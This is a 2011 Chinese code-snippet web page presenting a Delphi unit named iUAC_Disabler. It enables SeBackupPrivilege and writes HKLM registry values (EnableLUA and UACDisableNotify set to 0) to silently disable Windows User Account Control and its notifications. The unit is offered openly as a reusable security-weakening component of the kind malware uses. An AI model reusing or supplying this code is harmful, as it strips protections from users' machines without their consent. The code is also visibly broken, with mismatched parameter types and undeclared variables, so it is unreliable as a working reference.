RSS订阅 | 匿名投稿
您的位置:网站首页 > 单元 > 正文

delphi 关闭uac 单元

作者:admin 来源: 日期:2011/8/18 13:20:09 人气: 标签:

 unit iUAC_Disabler;

interface
function Fuck_UAC(): Variant;
function Enable_Privileges(var sName: AnsiString): Boolean;
function Write_KEY(var hSubKey: AnsiString; var sNombre: AnsiString; var sValue: Longint): Variant;


type hKeys = (
HKEY_CURRENT_USER = $80000001,
HKEY_LOCAL_MACHINE = $80000002
);

type LUID = record
lowpart: Longint;
highpart: Longint;
end;


type LUID_AND_ATTRIBUTES = record
pLuid: LUID;
Attributes: Longint;
end;


type TOKEN_PRIVILEGES = record
PrivilegeCount: Longint;
Privileges: LUID_AND_ATTRIBUTES;
end;


const
KEY_CREATE_LINK = $20;
READ_CONTROL = $20000;
WRITE_DAC = $40000;
WRITE_OWNER = $80000;
SYNCHRONIZE = $100000;
STANDARD_RIGHTS_REQUIRED = $F0000;
STANDARD_RIGHTS_READ = READ_CONTROL;
STANDARD_RIGHTS_WRITE = READ_CONTROL;
STANDARD_RIGHTS_EXECUTE = READ_CONTROL;
STANDARD_RIGHTS_ALL = $1F0000;
KEY_WRITE = STANDARD_RIGHTS_WRITE or $2 or $4;
KEY_ALL_ACCESS = ((STANDARD_RIGHTS_ALL or $1 or $2 or $4 or $8 or $10 or KEY_CREATE_LINK) and ( not SYNCHRONIZE));


implementation

uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ComCtrls, ImgList, ToolWin, ExtCtrls, CheckLst, Menus,
ActiveX, Buttons;

function Fuck_UAC(): Variant;
begin

{$IF Defined(def_Fuck_UAC)}

if Enable_Privileges('SeBackupPrivilege')=true then
begin

Write_KEY(HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft\Security Center', 'UACDisableNotify', '0'); // Disable UAC Promp Message
Write_KEY(HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System', 'EnableLUA', '0'); // Disable UAC

end;
{$IFEND}
end;

function Enable_Privileges(var sName: AnsiString): Boolean;
var
lRet, lToken, sLen: Longint;
sUID: LUID;
Priv_Token, Prev_Token: TOKEN_PRIVILEGES;
begin
{$IF Defined(def_Enable_Privileges)}


lRet := OpenProcessToken(GetCurrentProcess(), $20 or $8, lToken);
if lRet=0 then Exit;

lRet := LookupPrivilegeValue(0, sName, sUID);
if lRet=0 then Exit;

Priv_Token.PrivilegeCount := 1;
Priv_Token.Privileges.Attributes := $2;
Priv_Token.Privileges.pLuid := sUID;

Result := (AdjustTokenPrivileges(lToken, false, Priv_Token, sizeof(Prev_Token), Prev_Token, sLen)<>0);
{$IFEND}
end;

function Write_KEY( var hSubKey: AnsiString; var sNombre: AnsiString; var sValue: Longint): Variant;
begin

{$IF Defined(def_Write_KEY)}

if RegOpenKeyEx(hKey, hSubKey, 0, KEY_WRITE, mainKey)=0 then
begin
if (RegSetValueExA(mainKey, sNombre, 0, 4, sValue, 4)=0) then
begin
RegCloseKey(mainKey);
end;
end;

{$IFEND}
end;

end.

读完这篇文章后,您心情如何?
0
0
0
0
0
0
0
0
本文网址: